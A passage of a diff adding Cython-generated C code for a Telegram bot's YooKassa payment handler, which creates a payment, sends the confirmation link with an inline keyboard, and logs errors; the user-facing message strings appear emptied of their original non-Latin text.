(unlikely(!__pyx_t_11)) __PYX_ERR(0, 276, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_id); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 276, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_user_id, __pyx_t_10) < 0) __PYX_ERR(0, 276, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_u_metadata, __pyx_t_3) < 0) __PYX_ERR(0, 251, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":278 + * "metadata": {"user_id": message.chat.id}, + * }, + * uuid.uuid4(), # <<<<<<<<<<<<<< + * ) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_uuid); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 278, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_10); + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_10, __pyx_n_s_uuid4); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 278, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __pyx_t_10 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_11))) { + __pyx_t_10 = PyMethod_GET_SELF(__pyx_t_11); + if (likely(__pyx_t_10)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_11); + __Pyx_INCREF(__pyx_t_10); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_11, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_10, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_11, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 278, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + } + __pyx_t_11 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_11, __pyx_t_1, __pyx_t_3}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 249, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_payment = __pyx_t_2; + __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":281 + * ) + * + * if payment["status"] == "pending": # <<<<<<<<<<<<<< + * payment_url = payment["confirmation"]["confirmation_url"] + * + */ + __pyx_t_2 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_payment, __pyx_n_u_status); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 281, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_5 = (__Pyx_PyUnicode_Equals(__pyx_t_2, __pyx_n_u_pending, Py_EQ)); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 281, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (__pyx_t_5) { + + /* "handlers/payments/yookassa_pay.py":282 + * + * if payment["status"] == "pending": + * payment_url = payment["confirmation"]["confirmation_url"] # <<<<<<<<<<<<<< + * + * confirm_keyboard = InlineKeyboardMarkup( + */ + __pyx_t_2 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_payment, __pyx_n_u_confirmation); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 282, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_6 = __Pyx_PyObject_Dict_GetItem(__pyx_t_2, __pyx_n_u_confirmation_url); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 282, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GIVEREF(__pyx_t_6); + __pyx_cur_scope->__pyx_v_payment_url = __pyx_t_6; + __pyx_t_6 = 0; + + /* "handlers/payments/yookassa_pay.py":284 + * payment_url = payment["confirmation"]["confirmation_url"] + * + * confirm_keyboard = InlineKeyboardMarkup( # <<<<<<<<<<<<<< + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_InlineKeyboardMarkup); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 284, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_6); + + /* "handlers/payments/yookassa_pay.py":285 + * + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ # <<<<<<<<<<<<<< + * [InlineKeyboardButton(text="", url=payment_url)], + * [InlineKeyboardButton(text=" ", callback_data="pay")], + */ + __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 285, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + + /* "handlers/payments/yookassa_pay.py":286 + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], # <<<<<<<<<<<<<< + * [InlineKeyboardButton(text=" ", callback_data="pay")], + * ] + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 286, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 286, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_n_u__9) < 0) __PYX_ERR(0, 286, __pyx_L9_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_url, __pyx_cur_scope->__pyx_v_payment_url) < 0) __PYX_ERR(0, 286, __pyx_L9_error) + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 286, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = PyList_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 286, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_11); + if (__Pyx_PyList_SET_ITEM(__pyx_t_1, 0, __pyx_t_11)) __PYX_ERR(0, 286, __pyx_L9_error); + __pyx_t_11 = 0; + + /* "handlers/payments/yookassa_pay.py":287 + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], + * [InlineKeyboardButton(text=" ", callback_data="pay")], # <<<<<<<<<<<<<< + * ] + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 287, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 287, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__3) < 0) __PYX_ERR(0, 287, __pyx_L9_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 287, __pyx_L9_error) + __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 287, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 287, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_10); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_t_10)) __PYX_ERR(0, 287, __pyx_L9_error); + __pyx_t_10 = 0; + + /* "handlers/payments/yookassa_pay.py":285 + * + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ # <<<<<<<<<<<<<< + * [InlineKeyboardButton(text="", url=payment_url)], + * [InlineKeyboardButton(text=" ", callback_data="pay")], + */ + __pyx_t_10 = PyList_New(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 285, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_GIVEREF(__pyx_t_1); + if (__Pyx_PyList_SET_ITEM(__pyx_t_10, 0, __pyx_t_1)) __PYX_ERR(0, 285, __pyx_L9_error); + __Pyx_GIVEREF(__pyx_t_3); + if (__Pyx_PyList_SET_ITEM(__pyx_t_10, 1, __pyx_t_3)) __PYX_ERR(0, 285, __pyx_L9_error); + __pyx_t_1 = 0; + __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_inline_keyboard, __pyx_t_10) < 0) __PYX_ERR(0, 285, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + + /* "handlers/payments/yookassa_pay.py":284 + * payment_url = payment["confirmation"]["confirmation_url"] + * + * confirm_keyboard = InlineKeyboardMarkup( # <<<<<<<<<<<<<< + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], + */ + __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 284, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_v_confirm_keyboard = __pyx_t_10; + __pyx_t_10 = 0; + + /* "handlers/payments/yookassa_pay.py":291 + * ) + * + * await message.answer( # <<<<<<<<<<<<<< + * text=f" {amount} .", + * reply_markup=confirm_keyboard, + */ + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 291, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_10); + + /* "handlers/payments/yookassa_pay.py":292 + * + * await message.answer( + * text=f" {amount} .", # <<<<<<<<<<<<<< + * reply_markup=confirm_keyboard, + * ) + */ + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 292, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_6 = PyTuple_New(3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 292, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_13 = 0; + __pyx_t_14 = 127; + __Pyx_INCREF(__pyx_kp_u__10); + __pyx_t_14 = (65535 > __pyx_t_14) ? 65535 : __pyx_t_14; + __pyx_t_13 += 25; + __Pyx_GIVEREF(__pyx_kp_u__10); + PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_kp_u__10); + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 292, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_14 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_14) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_14; + __pyx_t_13 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + PyTuple_SET_ITEM(__pyx_t_6, 1, __pyx_t_3); + __pyx_t_3 = 0; + __Pyx_INCREF(__pyx_kp_u__11); + __pyx_t_14 = (65535 > __pyx_t_14) ? 65535 : __pyx_t_14; + __pyx_t_13 += 8; + __Pyx_GIVEREF(__pyx_kp_u__11); + PyTuple_SET_ITEM(__pyx_t_6, 2, __pyx_kp_u__11); + __pyx_t_3 = __Pyx_PyUnicode_Join(__pyx_t_6, 3, __pyx_t_13, __pyx_t_14); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 292, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_t_3) < 0) __PYX_ERR(0, 292, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":293 + * await message.answer( + * text=f" {amount} .", + * reply_markup=confirm_keyboard, # <<<<<<<<<<<<<< + * ) + * else: + */ + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_reply_markup, __pyx_cur_scope->__pyx_v_confirm_keyboard) < 0) __PYX_ERR(0, 292, __pyx_L9_error) + + /* "handlers/payments/yookassa_pay.py":291 + * ) + * + * await message.answer( # <<<<<<<<<<<<<< + * text=f" {amount} .", + * reply_markup=confirm_keyboard, + */ + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 291, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L16_resume_from_await:; + __pyx_t_7 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_9); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 291, __pyx_L9_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 291, __pyx_L9_error) + } + } + + /* "handlers/payments/yookassa_pay.py":281 + * ) + * + * if payment["status"] == "pending": # <<<<<<<<<<<<<< + * payment_url = payment["confirmation"]["confirmation_url"] + * + */ + goto __pyx_L15; + } + + /* "handlers/payments/yookassa_pay.py":296 + * ) + * else: + * await message.answer(" .") # <<<<<<<<<<<<<< + * + * except Exception as e: + */ + /*else*/ { + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 296, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_10 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_10 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_10)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_10); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_10, __pyx_kp_u__12}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 296, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 5; + return __pyx_r; + __pyx_L17_resume_from_await:; + __pyx_t_7 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_9); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 296, __pyx_L9_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 296, __pyx_L9_error) + } + } + } + __pyx_L15:; + + /* "handlers/payments/yookassa_pay.py":248 + * ) + * + * try: # <<<<<<<<<<<<<< + * payment = Payment.create( + * { + */ + } + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + goto __pyx_L14_try_end; + __pyx_L9_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/yookassa_pay.py":298 + * await message.answer(" .") + * + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * await message.answer(" .") + */ + __pyx_t_15 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); + if (__pyx_t_15) { + __Pyx_AddTraceback("handlers.payments.yookassa_pay.process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_3, &__pyx_t_2, &__pyx_t_10) < 0) __PYX_ERR(0, 298, __pyx_L11_except_error) + __Pyx_XGOTREF(__pyx_t_3); + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_t_10); + __Pyx_INCREF(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_e = __pyx_t_2; + /*try:*/ { + + /* "handlers/payments/yookassa_pay.py":299 + * + * except Exception as e: + * logger.error(f" : {e}") # <<<<<<<<<<<<<< + * await message.answer(" .") + * else: + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_logger); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 299, __pyx_L23_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_error); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 299, __pyx_L23_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 299, __pyx_L23_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_12 = __Pyx_PyUnicode_Concat(__pyx_kp_u__22, __pyx_t_1); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 299, __pyx_L23_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_11))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_11); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_11); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_11, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_t_12}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_11, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 299, __pyx_L23_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + } + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/yookassa_pay.py":300 + * except Exception as e: + * logger.error(f" : {e}") + * await message.answer(" .") # <<<<<<<<<<<<<< + * else: + * await message.answer(" . , :") + */ + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 300, __pyx_L23_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_12 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_11))) { + __pyx_t_12 = PyMethod_GET_SELF(__pyx_t_11); + if (likely(__pyx_t_12)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_11); + __Pyx_INCREF(__pyx_t_12); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_11, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_12, __pyx_kp_u__23}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_11, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 300, __pyx_L23_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_3; + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_SwapException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 6; + return __pyx_r; + __pyx_L25_resume_from_await:; + __pyx_t_2 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_3 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_3); + __pyx_t_7 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_10); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 300, __pyx_L23_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 300, __pyx_L23_error) + } + } + } + + /* "handlers/payments/yookassa_pay.py":298 + * await message.answer(" .") + * + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * await message.answer(" .") + */ + /*finally:*/ { + /*normal exit:*/{ + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + goto __pyx_L24; + } + __pyx_L23_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_21, &__pyx_t_22, &__pyx_t_23); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_18, &__pyx_t_19, &__pyx_t_20) < 0)) __Pyx_ErrFetch(&__pyx_t_18, &__pyx_t_19, &__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_18); + __Pyx_XGOTREF(__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_23); + __pyx_t_15 = 